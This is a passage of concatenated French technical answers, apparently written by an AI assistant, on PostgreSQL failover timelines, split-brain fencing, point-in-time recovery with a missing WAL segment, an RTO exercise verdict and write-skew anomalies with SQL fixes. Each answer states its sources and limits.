- **Rollback des messages invalides** : Identifier et supprimer ou mettre en quarantaine les messages publiés prématurément. Notifier l'éditeur de l'échec.
- **Synchronisation corrective** :
```python
# Pseudo-code de reprise
if not abonne.schema.contient_champ(nouveau_champ):
abonne.appliquer_mise_a_jour_schéma(ajout=nouveau_champ) # Appliquer le schéma manquant
abonne.rejouer_messages_depuis(horodatage_avant_publication) # Rejouer les messages valides
```
- **Journalisation séquentielle** : Utiliser des horodatages monotones ou des numéros de séquence pour détecter et corriger les inversions d'ordre.
- **Contrôle de version** : Ajouter un numéro de version au schéma et aux messages pour rejeter automatiquement les données incompatibles.
**Source des mécanismes** : Bonnes pratiques de gestion de schémas (Apache Avro, Confluent Schema Registry) et stratégies de reprise dans les systèmes de streaming (Kafka Streams, documentation technique).## 1. Relation entre timeline 7 et timeline 8 **Relation : ancêtre commun puis bifurcation (fork), pas inclusion.** - TL8 a été créée par la promotion du standby : elle dérive de TL7 en un point de bascule unique, le *switchpoint* (un LSN précis). Jusqu'à ce LSN, TL7 et TL8 partagent exactement le même historique WAL. - Après ce LSN, les deux histoires sont **incompatibles et non fusionnables** : TL7 contient des enregistrements WAL que TL8 n'a jamais vus, et réciproquement. - Conséquence stricte : les écritures acquittées sur l'ancien primaire entre le dernier LSN répliqué et son isolement sont **perdues du point de vue du cluster** (fenêtre de perte bornée par le retard de réplication au moment du failover, nulle seulement si la réplication était synchrone avec quorum respecté). Ce ne sont pas des données « en retard » à rattraper, ce sont des données **orphelines sur une branche morte**. - Le point de divergence est matérialisé par le fichier d'historique de timeline de TL8 dans l'archive WAL, et par le fichier `.partial` du dernier segment de TL7 côté nouveau primaire. Relations à ne pas confondre : | Formulation | Statut | |---|---| | TL8 ⊃ TL7 (sur-ensemble) | **Faux** | | TL7 et TL8 = même donnée avec décalage | **Faux** | | TL7 et TL8 = préfixe commun jusqu'au switchpoint, puis divergence | **Vrai** | ## 2. Action interdite Par ordre de gravité : 1. **Interdit absolu : remettre l'ancien primaire en écriture, ou le laisser accessible aux clients / au VIP.** C'est la définition du split-brain : deux nœuds acquittent des transactions contradictoires, l'intégrité référentielle du système est détruite et la réconciliation devient indécidable. Le fencing précède toute autre action. 2. **Interdit : tenter un rattachement en réplication streaming « tel quel »**, en pointant simplement l'ancien répertoire de données vers le nouveau primaire. Un répertoire divergent n'est pas un standby en retard ; le rejeu est incohérent. 3. **Interdit : exécuter `pg_rewind` dans le mauvais sens.** La cible (`--target-pgdata`) doit être l'ancien primaire, la source le nouveau primaire. Inversé, l'outil détruit le primaire vivant TL8. 4. **Interdit : laisser l'ancien primaire archiver ses WAL TL7 divergents dans l'archive partagée.** Il peut réécrire un segment déjà archivé avec un contenu différent. La `archive_command` doit refuser tout écrasement de fichier existant (échec plutôt que remplacement). 5. **Interdit : détruire, réinitialiser (`pg_resetwal`), ou écraser le répertoire divergent avant sauvegarde.** Ces octets sont la **seule copie** des écritures perdues ; leur suppression est irréversible et supprime la preuve. 6. **Interdit : une seconde promotion**, ou toute manipulation manuelle du gestionnaire de cluster sans passer par son mécanisme de verrou de leader. ## 3. Méthode de retour **Phase A, contenir (avant tout diagnostic).** - Fencing / STONITH de l'ancien primaire : retrait du VIP, du pooler, des règles réseau, arrêt du service PostgreSQL. Objectif : zéro nouvelle écriture sur TL7. - Neutraliser sa `archive_command` et son `primary_conninfo`. **Phase B, préserver (point de restauration).** - Snapshot bloc ou copie intégrale et hors ligne du répertoire de données, plus des WAL TL7, vers un stockage isolé en lecture seule. Cette sauvegarde conditionne l'autorisation de toute étape suivante. **Phase C, quantifier la divergence.** - Lire le fichier d'historique de TL8 pour obtenir le LSN de switchpoint. - Inspecter les segments TL7 postérieurs à ce LSN (par exemple avec `pg_waldump`) pour établir la liste des transactions divergentes : volume, tables, criticité. - Livrable : un rapport nominatif des écritures perdues. **Phase D, décider du sort des écritures divergentes.** - Soit abandon documenté, soit rejeu applicatif **idempotent** sur TL8, sous forme de transactions métier normales, jamais par injection WAL ni copie de fichiers. Toute réinjection doit passer par des clés naturelles et une détection de doublon. **Phase E, reconstruire le nœud.** - Option 1, `pg_rewind` (rapide) : exige un arrêt propre de la cible, un `crash recovery` unique préalable si l'arrêt fut brutal, et que le cluster ait été créé avec `data checksums` ou `wal_log_hints = on`, `full_page_writes = on`. L'outil ramène la cible au switchpoint en copiant les blocs divergents depuis la source. - Option 2, reconstruction complète (`pg_basebackup` ou restauration de sauvegarde plus rejeu) : plus lente, mais la seule sûre si les prérequis de `pg_rewind` manquent, si la divergence est volumineuse, ou si un doute subsiste sur l'intégrité du répertoire. En cas d'hésitation, choisir cette option. - Puis configuration de standby : `primary_conninfo`, `restore_command`, `primary_slot_name` (slot de réplication dédié pour éviter la purge de WAL), et suivi de timeline. Le suivi de la timeline la plus récente doit être explicitement garanti par `recovery_target_timeline = 'latest'` ; ce comportement est le défaut sur les versions récentes, mais je recommande de l'écrire explicitement plutôt que de s'y fier (point que je n'ai pas pu vérifier avec mes sources locales, voir réserve ci-dessous). **Phase F, vérifier avant réintégration.** - Sur le nœud : timeline courante = 8, `pg_is_in_recovery()` vrai, progression de `pg_last_wal_replay_lsn()`. - Sur le primaire : présence du nœud dans `pg_stat_replication`, retard d'envoi/rejeu convergeant vers zéro. - Contrôles d'intégrité : vérification des sommes de contrôle, comptages de réconciliation sur les tables critiques. - Réintroduction progressive : d'abord hors trafic, puis en lecture seule, puis éligible au failover. Ne pas le déclarer candidat leader avant validation complète. - Conserver la sauvegarde de la phase B jusqu'à clôture formelle de l'incident. ## 4. Autorité - **Autorité sur les données : le nouveau primaire, timeline 8.** Il est la seule source de vérité. L'ancien primaire n'a aucune autorité sur son propre contenu ; son état est, par construction, une branche invalidée. - **Autorité sur l'historique : le fichier d'historique de timeline dans l'archive WAL.** C'est lui qui établit factuellement la filiation TL7 → TL8 et le LSN de divergence. Il primne sur toute reconstitution par les journaux applicatifs ou la mémoire des opérateurs. - **Autorité sur le rôle : le gestionnaire de cluster et son magasin de configuration distribué** (verrou de leader dans le DCS, par exemple Patroni sur etcd/Consul, ou repmgr). L'autorité est le verrou, pas le nœud ni l'opérateur. Un nœud qui « se croit » primaire sans détenir le verrou n'est pas primaire. - **Autorité sur le sort des écritures perdues : le propriétaire métier des données**, pas l'administrateur de base seul. Rejouer ou abandonner des transactions acquittées auprès de clients est une décision de responsabilité, pas une décision technique. - **Autorité sur les opérations destructives (`pg_rewind`, réinitialisation, suppression) : accord explicite et traçable de l'opérateur responsable**, conditionné à l'existence vérifiée d'un point de restauration. ## Réserves et limites - Mon encyclopédie locale confirme le principe de la réplication PostgreSQL par expédition des journaux d'écriture anticipée (WAL) vers des nœuds réplicas, la réplication synchrone avec attente d'écriture du journal par au moins un réplica, et le basculement vers le standby synchrone suivant en cas de défaillance (article *PostgreSQL*, Wikipédia EN, section « Storage and replication »). - En revanche, **la sémantique détaillée des timelines, du fichier d'historique, des fichiers `.partial`, ainsi que les prérequis exacts de `pg_rewind` et le défaut de `recovery_target_timeline`, ne figurent pas dans mes sources locales.** Ces éléments proviennent de ma connaissance de la documentation PostgreSQL et sont susceptibles d'être datés ou dépendants de la version majeure employée. Vérifiez-les dans la documentation officielle correspondant à votre version exacte avant exécution. - Je n'ai pas accès à votre cluster : aucun élément ci-dessus ne constitue un diagnostic de votre incident, seulement une procédure de référence. Le volume réel des écritures perdues, la version de PostgreSQL, le mode de réplication (synchrone ou asynchrone) et la présence de `wal_log_hints` sont des données indispensables que je ne peux pas établir à votre place. - Aucune de ces étapes n'est « sans risque » : le fencing peut prolonger l'indisponibilité, `pg_rewind` est destructif pour la cible, et le rejeu applicatif peut créer des doublons si l'idempotence n'est pas prouvée.
## 1. Panne
**Nature exacte** : partition réseau du canal de heartbeat, avec les deux nœuds toujours vivants. Chaque côté conclut à tort que le pair est mort et se comporte comme unique primaire. C'est le cas canonique du **split-brain**, décrit ainsi : « le syndrome de split-brain peut survenir quand tous les liens privés tombent simultanément, mais que les nœuds du cluster tournent encore, chacun croyant être le seul à tourner » (Wikipédia EN, *Split-brain (computing)*).
Le point théorique qui rend la situation irréductible : « le fencing est nécessaire car il est impossible de distinguer une panne réelle d'un blocage temporaire » (Wikipédia EN, *Fencing (computing)*). Aucun nœud ne peut, par observation locale, décider s'il est le survivant ou l'isolé.
**Conséquence sur PostgreSQL** : deux flux d'écriture concurrents produisent deux historiques de journalisation divergents à partir d'un même point de séparation. Les deux copies ne sont plus des répliques mais deux bases distinctes partageant un passé commun. Les identifiants de transaction et les séquences sont réattribués indépendamment de part et d'autre, ce qui produit des collisions de clés et des enregistrements contradictoires sous une même identité logique.
**Classe de défaut** : violation d'intégrité et de cohérence, pas de disponibilité. Le service répondait des deux côtés ; c'est précisément cela le défaut.
## 2. Invariant à protéger
**Invariant primaire, unicité du writer** :
$$\bigl|\{\, n \in N : n \text{ accepte des écritures} \,\}\bigr| \le 1 \quad \text{à tout instant}$$
Notez le $\le 1$ et non $= 1$ : zéro primaire est un état légal et sûr, deux primaires ne l'est jamais. C'est l'arbitrage pessimiste : « les approches pessimistes sacrifient la disponibilité en échange de la cohérence » (Wikipédia EN, *Split-brain (computing)*).
**Invariant dérivé, linéarité de l'historique** : un unique historique de journalisation (une seule timeline) doit descendre de tout point de séparation. Deux branches concurrentes committées sont un état non réconciliable automatiquement au niveau du moteur.
**Invariant d'autorisation, condition de quorum** : le droit d'écrire n'est pas un état local, c'est un bail révocable conditionné à l'appartenance à la partition majoritaire. « L'approche par quorum permet à la sous-partition détenant la majorité des voix de rester disponible, les sous-partitions restantes devant passer en mode auto-fencing » (Wikipédia EN, *Split-brain (computing)*).
**Invariant temporel, celui que l'on oublie le plus souvent** : la démotion du nœud minoritaire doit être garantie **avant** que l'autre côté ne promeuve. Il faut
$$T_{\text{bail}} + \varepsilon_{\text{dérive d'horloge}} \;<\; T_{\text{attente avant promotion}}$$
Sans cette marge, le fencing est nominalement présent mais la fenêtre de double écriture reste ouverte.
**Invariant de procédure** : refus par défaut. Aucune promotion sans confirmation positive du fencing. Un délai d'attente écoulé n'est pas une preuve de mort ; seule la confirmation retournée par l'agent de fencing en est une.
## 3. Action de fencing
### 3.1 Séquence sur le côté minoritaire, autoprotection
Le nœud qui constate la perte de quorum ne doit pas attendre d'être abattu. Il doit :
1. cesser immédiatement d'accepter des écritures, démotion ou arrêt du service ;
2. libérer l'adresse IP virtuelle de service ;
3. armer un chien de garde matériel qui réinitialise le nœud si la démotion n'aboutit pas dans le délai du bail. Le principe est explicite : « un chien de garde réinitialise le nœud si celui-ci n'indique pas au circuit de surveillance qu'il fonctionne correctement » (Wikipédia EN, *Fencing (computing)*).
Cette autoprotection est indispensable, car un nœud bloqué peut se réveiller après coup et écrire tardivement.
### 3.2 Séquence sur le côté majoritaire, STONITH
STONITH signifie *shoot the other node in the head* et « clôture les nœuds défaillants en réinitialisant ou en mettant hors tension le nœud défaillant » (Wikipédia EN, *Fencing (computing)*).
Exigence structurelle : **le chemin de fencing doit être hors bande**, indépendant du réseau qui vient de se partitionner. Un fencing qui transite par le lien tombé ne fencera rien. En pratique, contrôleur d'alimentation, interface de gestion matérielle dédiée, ou API de l'hyperviseur ou du fournisseur d'infrastructure. Le mécanisme décrit dans la source est le *power fencing* : « le fencing par alimentation utilise un contrôleur d'alimentation pour éteindre un nœud inopérant » (même source).
**Défense en profondeur, fencing de ressource en complément** : couper l'accès à la ressource sans éteindre le nœud. La source cite les réservations persistantes SCSI3, la désactivation du port Fibre Channel et le fencing GNBD (Wikipédia EN, *Fencing (computing)*). Transposé à une architecture PostgreSQL, l'équivalent opérationnel est la fermeture du port du commutateur, la révocation de l'IP virtuelle, ou le blocage au niveau de l'intermédiaire de connexion. Ces couches sont utiles parce que le power fencing peut échouer, par exemple si l'interface de gestion est elle-même dans la partition perdue.
**Ordre impératif** : fencer, obtenir la confirmation, **puis** promouvoir. Jamais l'inverse, jamais en parallèle.
### 3.3 Le piège du cluster à deux nœuds
Sans arbitre externe, deux nœuds symétriques peuvent se tirer dessus mutuellement, ou aucun ne peut légitimement se déclarer majoritaire. La source est directe : « le défi des clusters à deux nœuds est que l'ajout d'un dispositif témoin ajoute du coût et de la complexité, mais sans lui, si le heartbeat échoue, les membres du cluster ne peuvent pas déterminer lequel doit être actif », avec « au moins 50 % de probabilité qu'un cluster HA à 2 nœuds échoue totalement jusqu'à intervention humaine » (Wikipédia EN, *Split-brain (computing)*).
Mesures : un témoin de quorum en troisième site, ou un dispositif de quorum sur disque partagé, plus un délai de fencing asymétrique entre les deux nœuds pour briser la symétrie et éviter le double abattage.
### 3.4 Contrôle du chemin critique
| Point de contrôle | Question à poser | Défaut si non satisfait |
|---|---|---|
| Canal de fencing | Est-il indépendant du réseau partitionné ? | Fencing inopérant au moment précis où il sert |
| Confirmation | La promotion attend-elle un accusé positif ? | Fenêtre de double primaire |
| Chien de garde | Le minoritaire s'auto-arrête-t-il seul ? | Écriture tardive d'un nœud réveillé |
| Témoin | Existe-t-il un troisième vote ? | Symétrie insoluble, deathmatch |
| Marge temporelle | $T_{\text{bail}} < T_{\text{promotion}}$ vérifié ? | Chevauchement des rôles |
| Test | Le fencing est-il exercé périodiquement ? | Mécanisme réputé fonctionnel mais jamais prouvé |
## 4. Reprise
### 4.1 Avant toute chose, geler et préserver
La divergence est déjà survenue. Le premier acte n'est pas de réparer, c'est de **préserver la preuve** : copie intégrale et hors ligne du répertoire de données et des journaux du nœud écarté, avant toute opération de resynchronisation. Motif : les outils de resynchronisation détruisent l'historique divergent, qui est le seul support des transactions validées uniquement sur ce côté. Sans cette copie, la réconciliation métier devient impossible.
### 4.2 Établir l'ampleur de la divergence
Il faut déterminer le point de séparation dans le journal, puis énumérer, de chaque côté, les transactions validées après ce point. Cette énumération est le livrable central : c'est elle qui dit combien d'écritures client ont été acceptées puis vont être perdues ou devront être rejouées.
### 4.3 Choisir un survivant, décision explicite
Le survivant se choisit sur critère métier, pas sur commodité technique : volume de transactions validées, criticité fonctionnelle des écritures concernées, capacité de rejeu depuis une source amont. Cette décision doit être tracée et validée par un responsable, car elle acte une perte de données.
### 4.4 Réintégrer l'ancien primaire
Le nœud écarté revient **exclusivement en réplique**. Deux voies : une resynchronisation différentielle depuis le point de divergence, ou une reconstruction complète depuis une sauvegarde de base du survivant. La reconstruction complète est plus lente mais plus sûre, et c'est le choix par défaut recommandé en cas de doute sur l'intégrité du nœud écarté.
Point de discipline : le redémarrage du nœud fencé ne doit jamais réactiver automatiquement le rôle primaire. « Il existe des approches dans lesquelles un opérateur est informé de la nécessité d'un redémarrage manuel du nœud » (Wikipédia EN, *Fencing (computing)*). Une réintégration manuelle et contrôlée est ici préférable à une réintégration automatique.
### 4.5 Réconciliation des écritures perdues
Rien au niveau du moteur ne réconcilie deux branches committées. La réconciliation est applicative : rejeu depuis une file de messages en amont, depuis les journaux applicatifs, ou traitement manuel des cas identifiés à l'étape 4.2. Toute affirmation contraire, du type « le cluster se resynchronise automatiquement », serait fausse pour une réplication de type journal physique. La source ne mentionne la réconciliation automatique que pour des approches optimistes et pour un magasin clé-valeur spécifique, pas pour un moteur relationnel (Wikipédia EN, *Split-brain (computing)*).
### 4.6 Durcissement post-incident
Les mesures à instruire après reprise : témoin de quorum en troisième domaine de défaillance ; validation du fencing hors bande par test réel et périodique ; réglage de la marge temporelle de la section 2 ; validation synchrone avec quorum de répliques pour que la validation côté client implique une durabilité multi-nœuds ; alerte sur toute divergence d'historique ; et un exercice de partition programmé, car un mécanisme de fencing jamais exercé est un mécanisme dont on ignore l'état.
## Limites de cette réponse
Les affirmations de principe sur le split-brain, le fencing, STONITH, le chien de garde, le quorum et le cas à deux nœuds sont sourcées sur les articles *Split-brain (computing)* et *Fencing (computing)* de l'encyclopédie consultée.
Les éléments relevant du détail opérationnel PostgreSQL, à savoir la mécanique exacte de resynchronisation différentielle, les paramètres de validation synchrone et l'inspection des historiques de journal, relèvent de ma connaissance générale du moteur et **n'ont pas été vérifiés par une source dans cette session**. Ils doivent être confrontés à la documentation officielle de votre version majeure avant exécution, car les noms d'outils et de paramètres varient entre versions.
Je ne dispose d'aucune information sur votre topologie réelle, votre gestionnaire de cluster, votre matériel de fencing ni votre version. Les préconisations ci-dessus sont donc une méthode, pas une procédure prête à exécuter. Toute étape destructive doit être précédée d'un point de restauration vérifié et d'un accord explicite de l'opérateur.## 1. Diagnostic Archives disponibles : 100, 101, **103**, 104. Continuité exigée depuis 100. Le rejeu WAL est strictement séquentiel : le processus de restauration réclame les fichiers un par un, dans l'ordre, et s'arrête dès qu'un segment est introuvable dans l'archive (« the recovery part of the instance replays all log records from the archived WAL files », Wikibooks EN, PostgreSQL/BackupAndRecovery). Il n'existe aucun mécanisme de saut par-dessus un trou : les enregistrements WAL sont chaînés et un segment absent rompt la chaîne de redo. | Élément | Réponse | |---|---| | Segment manquant | **102** | | Dernier point continu | **fin du segment 101** (dernier LSN contenu dans 101) | | Statut de 103 et 104 | présents mais **non rejouables** dans cette restauration | | Verdict PITR | **PITR limité : possible jusqu'à la fin de 101, impossible au-delà** | ## 2. Détail des quatre points **Segment manquant.** La séquence attendue est $100, 101, 102, 103, 104$. Le seul absent est **102**. Le trou est unique et d'une longueur de 1 segment. **Dernier point continu.** La continuité vérifiée va de 100 à 101 inclus. Le dernier instant restaurable est donc le dernier enregistrement de commit présent dans **101**. Toute cible de restauration (`recovery_target_time`, `recovery_target_lsn`, `recovery_target_xid`) doit se situer à l'intérieur de 100 ou 101. Réserve importante : cette borne n'est valide que si le point de cohérence du base backup (LSN de fin de `pg_basebackup`) est atteint dans 100 ou 101. Si la sauvegarde s'est terminée dans 102 ou après, alors **aucune** restauration n'est possible, même pas jusqu'à 101, car le cluster ne peut pas atteindre l'état cohérent minimal. Ce point est à vérifier dans le fichier `backup_label` (champs de début, et fin de sauvegarde), je ne peux pas le trancher sans cette donnée. **Usage de 103 et 104.** Ils sont **inexploitables pour ce PITR** tant que 102 manque : les modifications qu'ils décrivent s'appliquent à un état de pages que seul 102 permet d'atteindre, et les rejouer directement produirait une corruption silencieuse ou un refus de rejeu. Leur utilité réelle est triple : - **valeur conditionnelle** : si 102 est retrouvé (archive secondaire, `pg_wal` du serveur source, réplica, sauvegarde de l'archive, bande), 103 et 104 redeviennent immédiatement utilisables et la fenêtre de restauration s'étend jusqu'à la fin de 104 ; - **valeur forensique** : ils documentent les transactions perdues (analyse via `pg_waldump` sur ces segments isolés, pour identifier les écritures non restaurables et évaluer la perte métier) ; - **valeur de preuve** : ils attestent que l'archivage fonctionnait après 102, ce qui oriente le diagnostic vers une perte ponctuelle (échec d'`archive_command` non détecté, purge trop agressive, effacement) plutôt qu'une panne durable. À conserver donc, sans les injecter dans la restauration. **Verdict PITR.** PITR **partiellement réalisable** : cible maximale = fin de 101. Perte de données garantie pour tout ce qui a été validé à partir de 102. Un objectif de restauration « au plus tard avant la panne » est **non atteignable** en l'état. Le RPO effectif n'est pas celui visé, il est repoussé au dernier commit de 101. ## 3. Actions concrètes 1. **Geler l'archive** en lecture seule et en faire une copie hors ligne avant toute manipulation (aucune purge, aucun `rm`, aucun redémarrage du serveur source qui pourrait recycler `pg_wal`). 2. **Chercher 102** avant de renoncer, dans cet ordre : `pg_wal` du primaire, `pg_wal` d'un éventuel réplica, répertoire de spool de l'`archive_command`, sauvegarde de l'archive elle-même, outil de gestion (`pgBackRest`, `barman`) s'il est en place. 3. **Ne pas fabriquer un faux 102.** Générer un segment vide ou nul est destructeur : le rejeu accepterait potentiellement des données incohérentes. C'est à exclure formellement. 4. **Restaurer sur une machine de test**, jamais sur la production, avec une cible explicite dans 101, par exemple : ``` # restore_command (PostgreSQL >= 12, dans postgresql.conf) restore_command = 'cp /archive/%f %p' recovery_target_lsn = '<LSN choisi, situé dans le segment 101>' recovery_target_action = 'pause' ``` et le fichier `recovery.signal` dans le répertoire de données. `recovery_target_action = 'pause'` permet d'inspecter avant de promouvoir, donc de garder la marche arrière. 5. **Décider ensuite** : promouvoir cette restauration tronquée, ou attendre la récupération de 102. Décision métier, pas technique. ## 4. Vérification - `pg_waldump` sur 100 et 101 pour identifier le dernier commit et son horodatage, donc chiffrer précisément la fenêtre perdue. - `pg_waldump` sur 103 et 104 pour lister les transactions orphelines. - Contrôle de l'intégrité de l'archive : sommes de contrôle des segments présents, et cohérence des noms sur 24 caractères hexadécimaux (timeline + numéro de journal + segment) afin d'écarter un faux trou dû à un changement de timeline plutôt qu'à une perte. - Après restauration de test : requêtes de réconciliation métier sur les tables critiques, avant toute bascule. ## 5. Risques et limites - **Aucune opération n'est sans risque** : la restauration de test doit se faire sur un cluster distinct, avec archivage désactivé pour ne pas polluer l'archive de production. - Un changement de **timeline** antérieur pourrait expliquer l'absence apparente de 102, ce qui changerait le diagnostic ; à écarter par l'examen des fichiers `.history`. - Si le trou est dû à un échec silencieux d'`archive_command`, le même incident se reproduira : ajouter une supervision de l'écart entre le dernier segment archivé et le WAL courant, et exiger un code de retour non nul en cas d'échec de copie. - Je n'ai pas accès à votre système : tout ce qui précède est un raisonnement sur les données que vous fournissez, et non un constat sur votre installation. La borne « fin de 101 » reste conditionnée au point de cohérence du base backup, qui doit être lu dans `backup_label`.
## Verdicts
| Critère | Verdict | Fondement |
|---|---|---|
| Intégrité | **Conforme** | Donnée de l'énoncé (conformité constatée lors de l'exercice) |
| RPO | **Conforme** | Donnée de l'énoncé |
| RTO | **Non conforme** | $11\ \text{h} > 6\ \text{h}$, dépassement de $5$ h, soit $\frac{11}{6} \approx 183{,}3\ \%$ de la cible |
| Disponibilité globale | **Non conforme (échec de l'exercice)** | Les objectifs de reprise se composent en conjonction : un seul critère violé fait échouer l'ensemble |
## Justification chiffrée du verdict RTO
Débit effectivement réalisé :
$$D_{\text{réel}} = \frac{4\ \text{To}}{11\ \text{h}} \approx 0{,}364\ \text{To/h} \approx 101\ \text{Mo/s} \quad (\text{To} = 10^{12}\ \text{o})$$
Débit qu'il faudrait atteindre pour tenir le RTO :
$$D_{\text{requis}} = \frac{4\ \text{To}}{6\ \text{h}} \approx 0{,}667\ \text{To/h} \approx 185\ \text{Mo/s}$$
Facteur d'accélération manquant :
$$\frac{D_{\text{requis}}}{D_{\text{réel}}} = \frac{11}{6} \approx 1{,}83$$
Autrement dit, il faut **~1,83x de débit utile de bout en bout**, ou bien réduire le périmètre restaurable en 6 h à :
$$V_{\max} = 4 \times \frac{6}{11} \approx 2{,}18\ \text{To}$$
Si l'unité visée est le tébioctet ($1\ \text{TiO} = 2^{40}$ o), les débits deviennent $\approx 111\ \text{Mo/s}$ réalisé contre $\approx 204\ \text{Mo/s}$ requis ; le facteur manquant reste $11/6$, invariant par changement d'unité.
## Lecture précise des quatre notions
- **Intégrité** : les données restaurées sont fidèles à la source (pas d'altération, contrôles de cohérence passés). Conforme ici, mais cette conformité ne dit rien du délai.
- **RPO** (Recovery Point Objective) : ancienneté maximale admissible des données récupérées, donc **perte de données**. Conforme.
- **RTO** (Recovery Time Objective) : délai maximal admissible de remise en service, donc **durée d'indisponibilité**. Violé.
- **Disponibilité globale** : c'est la propriété composite. Restaurer des données intègres et à jour, mais hors délai contractuel, constitue une **indisponibilité prolongée** : le service n'était pas disponible pendant 11 h là où l'engagement plafonne à 6 h. Le verdict global est donc négatif, avec une cause unique et identifiée (performance de restauration), non un défaut de sauvegarde.
## Portée et limites de cette conclusion
- Ces verdicts portent sur **cet exercice**, un cas unique. Un seul essai ne caractérise pas statistiquement la capacité du dispositif : la valeur 11 h peut être optimiste ou pessimiste selon les conditions du jour (charge, matériel, ordre de restauration). Une généralisation exigerait plusieurs exercices dans des conditions représentatives.
- Le verdict d'échec est **contractuel**, pas nécessairement technique au sens de la sécurité : intégrité et RPO tenus signifient que la chaîne de sauvegarde fonctionne ; c'est le volet **disponibilité** qui est déficient.
- **Hypothèse explicite** : je considère que 11 h mesure bien le délai complet jusqu'à remise en service, et non seulement la copie des blocs. Si les 11 h excluent la détection de l'incident, la décision de bascule, la reconstruction d'index ou la validation applicative, le RTO réel est **supérieur à 11 h** et l'écart est plus grave encore. Ce point doit être vérifié sur le rapport d'exercice.
- Je ne dispose d'aucune donnée sur l'architecture réelle (type de support, débit du lien, parallélisme, taille des fichiers). Les pistes de remédiation ci-dessous sont donc des hypothèses à instrumenter, non des diagnostics.
## Pistes de remédiation à instrumenter (hypothèses)
1. **Mesurer où passent les 11 h** : lecture du support, transfert réseau, écriture cible, décompression/déchiffrement, reconstruction d'index, validation. Sans ce profil, toute optimisation est aveugle.
2. **Deux leviers seulement** : augmenter le débit ($\times 1{,}83$ minimum, viser $\times 2{,}5$ pour une marge) ou réduire le volume sur le chemin critique (restauration priorisée des services critiques d'abord, le reste en différé).
3. **Renégocier ou requalifier** : si le facteur 1,83 n'est pas atteignable au budget disponible, l'honnêteté contractuelle impose de réviser le RTO plutôt que de le laisser théorique.
4. **Rejouer l'exercice** après correction, sur un jeu de conditions non utilisé pour régler les paramètres, afin d'éviter un résultat optimiste par ajustement sur le cas de test.## 1. Anomalie
**Asymétrie d'écriture (write skew).**
Le schéma est exactement celui décrit dans la littérature : « deux transactions lisent concurremment un ensemble de données qui se recouvre, effectuent concurremment des mises à jour disjointes, puis valident concurremment, sans qu'aucune n'ait vu la mise à jour de l'autre » (Wikipedia EN, *Snapshot isolation*, section Definition). Votre cas en est l'instance : $T_1$ et $T_2$ lisent toutes deux le même prédicat (« nombre de médecins de garde sur ce créneau »), chacune constate $\ge 1$, puis chacune écrit **sa propre ligne** (son propre statut de garde). Aucun conflit écriture-écriture n'existe, donc rien n'est détecté, et l'état final viole une contrainte qu'aucune des deux transactions, prise isolément, ne violait.
C'est structurellement identique à l'exemple bancaire de l'article : deux comptes, contrainte $V_1 + V_2 \ge 0$, deux retraits disjoints, résultat $-200$ alors que chaque transaction avait « vérifié » la contrainte sur son instantané (même source).
Précision importante : ce n'est **ni** une mise à jour perdue (aucune écriture n'est écrasée, cf. Wikipedia FR, *Mise à jour perdue*), **ni** une lecture sale, **ni** un simple bug applicatif. Le code de chaque transaction est correct ; c'est la sémantique de concurrence qui l'est trop faible.
## 2. Isolation insuffisante
**Snapshot isolation (SI), telle qu'implémentée en MVCC.**
Sa règle de validation est : « la transaction ne validera avec succès que si les valeurs qu'elle a mises à jour n'ont pas été modifiées par ailleurs depuis la prise de l'instantané ; un tel conflit écriture-écriture provoque l'abandon » (Wikipedia EN, *Snapshot isolation*). Le détecteur ne porte donc que sur les **conflits écriture-écriture**, jamais sur les **anti-dépendances lecture-écriture** : ce qu'une transaction a *lu* n'est pas revérifié au commit. C'est précisément ce que dit l'article : les systèmes MVCC en SI permettent de progresser « sans avoir à revérifier toutes les opérations de lecture au moment du commit » (même source).
Conséquence : SI **n'est pas** sérialisable, bien qu'elle n'exhibe aucune des anomalies interdites par ANSI SQL-92 (Berenson, Bernstein, Gray, Melton, O'Neil et O'Neil, *A Critique of ANSI SQL Isolation Levels*, SIGMOD 1995, cité par l'article).
Piège opérationnel à connaître : SI est appelée mode « serializable » dans Oracle et dans PostgreSQL **antérieur à 9.1** (Wikipedia EN, *Snapshot isolation*, sections Terminology et History). Déclarer `SET TRANSACTION ISOLATION LEVEL SERIALIZABLE` sur un tel moteur **ne corrige pas** l'anomalie. Vérifier le moteur et sa version est donc la première action.
## 3. Remède
| Remède | Mécanisme | Statut |
|---|---|---|
| Sérialisabilité réelle (SSI) | Détection et abandon des « triplets dangereux » de transactions concurrentes | Recommandé si disponible |
| Promotion de la lecture en écriture | `SELECT ... FOR UPDATE` sur les lignes lues, crée un conflit écriture-écriture artificiel | Solide, portable |
| Matérialisation du conflit | Ligne d'agrégat verrouillée par les deux transactions | Fonctionne, dénormalise |
**Remède principal recommandé : la sérialisabilité vraie.** Cahill, Röhm et Fekete ont montré en 2008 que les anomalies d'asymétrie d'écriture peuvent être évitées en détectant et abandonnant les « triplets dangereux » de transactions concurrentes ; cette technique, *Serializable Snapshot Isolation* (SSI), a été adoptée dans PostgreSQL 9.1 et, « utilisée de façon systématique, elle élimine le besoin des contournements ci-dessus », au prix d'une augmentation du nombre de transactions abandonnées (Wikipedia EN, *Snapshot isolation*, section History, citant Cahill et al., SIGMOD 2008, et Ports et Grittner, VLDB 2012).
Cela impose une conséquence non négociable côté applicatif : SSI ne bloque pas, il **abandonne**. Toute transaction doit donc être encapsulée dans une boucle de reprise sur erreur de sérialisation (`SQLSTATE 40001` en PostgreSQL), avec un nombre d'essais borné et un délai croissant. Sans cette boucle, l'anomalie de données est remplacée par des échecs visibles à l'utilisateur, ce qui, dans un service de garde, est un risque de disponibilité et non plus d'intégrité. Le remède déplace donc le problème du domaine intégrité vers le domaine disponibilité : il faut traiter les deux.
**Remèdes de repli si SSI n'est pas disponible** (Oracle, PostgreSQL antérieur à 9.1, moteur en SI seule). L'article en documente deux explicitement :
- *Promotion* : « faire qu'une transaction mette à jour un emplacement en lecture seule (en remplaçant une valeur par la même valeur) afin de créer un conflit écriture-écriture direct, ou utiliser une promotion équivalente, par exemple le `SELECT FOR UPDATE` d'Oracle » (même source).
- *Matérialisation du conflit* : « ajouter une table de conflit spéciale, que les deux transactions mettent à jour afin de créer un conflit écriture-écriture direct » ; l'article note que cette approche « viole la forme normale » (même source).
Esquisse de la variante par promotion, à valider sur votre schéma réel que je ne connais pas :
```sql
BEGIN;
-- verrouille explicitement TOUTES les lignes lues du créneau,
-- pas seulement la ligne que l'on va modifier
SELECT medecin_id
FROM garde
WHERE creneau_id = :creneau
AND en_garde = true
FOR UPDATE;
-- recompter APRES l'acquisition des verrous, jamais avant
UPDATE garde
SET en_garde = false
WHERE medecin_id = :moi
AND creneau_id = :creneau
AND (SELECT count(*) FROM garde
WHERE creneau_id = :creneau AND en_garde = true) > 1;
COMMIT;
```
